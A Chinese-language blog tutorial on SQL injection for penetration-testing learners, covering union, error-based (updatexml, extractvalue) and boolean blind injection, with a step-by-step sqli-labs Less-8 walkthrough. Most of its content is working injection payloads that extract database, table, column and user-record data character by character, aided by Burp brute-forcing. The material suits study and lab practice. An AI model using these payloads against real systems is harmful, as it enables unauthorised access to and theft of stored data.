今天继续和大家说一下在学习渗透测试时要学习的SQL注入漏洞的知识~~~
接着上次的继续和大家说
上次给大家说了简单的基础知识,以及如何判断注入点等等~~~
今天和大家分享详细的几种SQL注入漏洞的渗透方法和思路
一、union联合注入
这是一种简单的注入,实际工作中遇到的较少~~
Union 有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数
SELECT * FROM USERS WHERE ID=1 UNION 1,2,3,4,5
使用这种注入方法必定是有回显的,有很多靶场,大家可以看看,要加强练习~~~
二、报错注入
需要代码中有Mysqli_error()函数进行报错显示 重点,前提
1.常见的报错函数
updatexml()
floor()
exp()
linestring()
geometrycollection()
multipoint()
2.原理
xpath语法错误
BIGINT等数据类型溢出
count()+rand()+groupby() ·导致主键冲突·
简单来说就是有`XML路径` ,而在路径中,插入特殊字符是非法得,也就会产生报错,而当报错内容为SQL语句得时候,SQL那边得解析器会自动解析该SQL语句,就会造成SQL语句得执行,从而触发SQL注入。
3.使用方法
- updatexml()
语法:updatexml(目标xml文档,xml路径(xpath),更新的内容)
语句:select updatexml(1,concat(0x7e,(select version())),1);
- extractvalue()
语法:extractvalue(目标xml文档,xml路径)
语句:select extractvalue(1,concat('~',(select user())));
updatexml(目标文,xml文件路径,更新内容)
updatexml(1,select database(),1)
记得也得多练习靶场~~~
三、布尔盲注
查询数据不能回显到前端,但会显示正常和异常!!!
1.函数
- ascii() / ord() 将某个字符串转化为ascii值
语句:select ascii(mid(user(),1));
- Lenght() 返回字段/结果的长度
语法:select length(user())
- count() 聚合函数也称作计数函数,返回查询对象的总数
语法:select count(*) from student;
- substr() 此函数是用来截取字符串一部分。
语法:select substr(user(),1,2);
- limit 限制查询数
limit 0,1 第一个数据
对应好了,大家可以参考这张表
因为盲注不太好理解,这里给大家举一个靶场的例子
(Less-8案例)
- 判断是否存在注入
页面会显示正常或异常
- 判断字段数量 (order by n )
- 判断回显位置(union )
PS:以上除了第一步,其他状态都不会在前端看出来!!!!!
下面为布尔盲注时的用法:
- 判断数据库名长度(二分法)
?id=1' and length(database())>10 --+(PS:这边都是用二分法猜个数,最后确定的)
- 判断数据库名称
?id=1' and ascii(substr(database(),1,1)) =115 --+(PS:只能猜测)
对数据库名进行截取,更换截取的位置来判断出每一位字母的ascii码(不过可以采用Burp爆破,抓包,更快捷)
Payload1有效载荷给定截取位置,Payload2有效载荷给定ascii范围
- 判断数据库里表的个数
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security') =4 --+(PS:这边都是用二分法猜个数,最后确定的,下面的也都是如此,正常我们是不能知道个数和长度的)
- 获取到数据库名之后继续进行注入,分别注入出各个表名的长度
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1)) =6 --+(limit 0,1这里就举例一个表了)
- 查询表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+ 结果为117,然后依次改变截断位置
Burp爆破后得出表名
通过排序解密表名
- 判断字段的个数
?id=1' and count((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)) =3 --+
- 判断各个字段名长度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)) =3 --+
- 猜解字段名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1),1,1)) =117 --+
知道了每个字段得长度,然后逐字猜解ASCII/字母即可
Burp爆破后得出字段名
- 获取字段下内容数量
?id=1' and (select count(username) from users limit 0,1)=12 --+
- 获取其中一个字段第一个内容长度
?id=1' and length((select username from users limit 0,1))=4 --+ #username字段下第一个内容长度为4
- 获取第一个字段内容
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+ #内容ascii码为68 = D
通过Burp爆破获取
更改索引循环前面步骤即可得到其他内容ascii !!!!!
大家跟着做一遍应该就都懂了,亲手做过就会理解了~~~
今天就给大家介绍三种,后面的之后慢慢给大家介绍~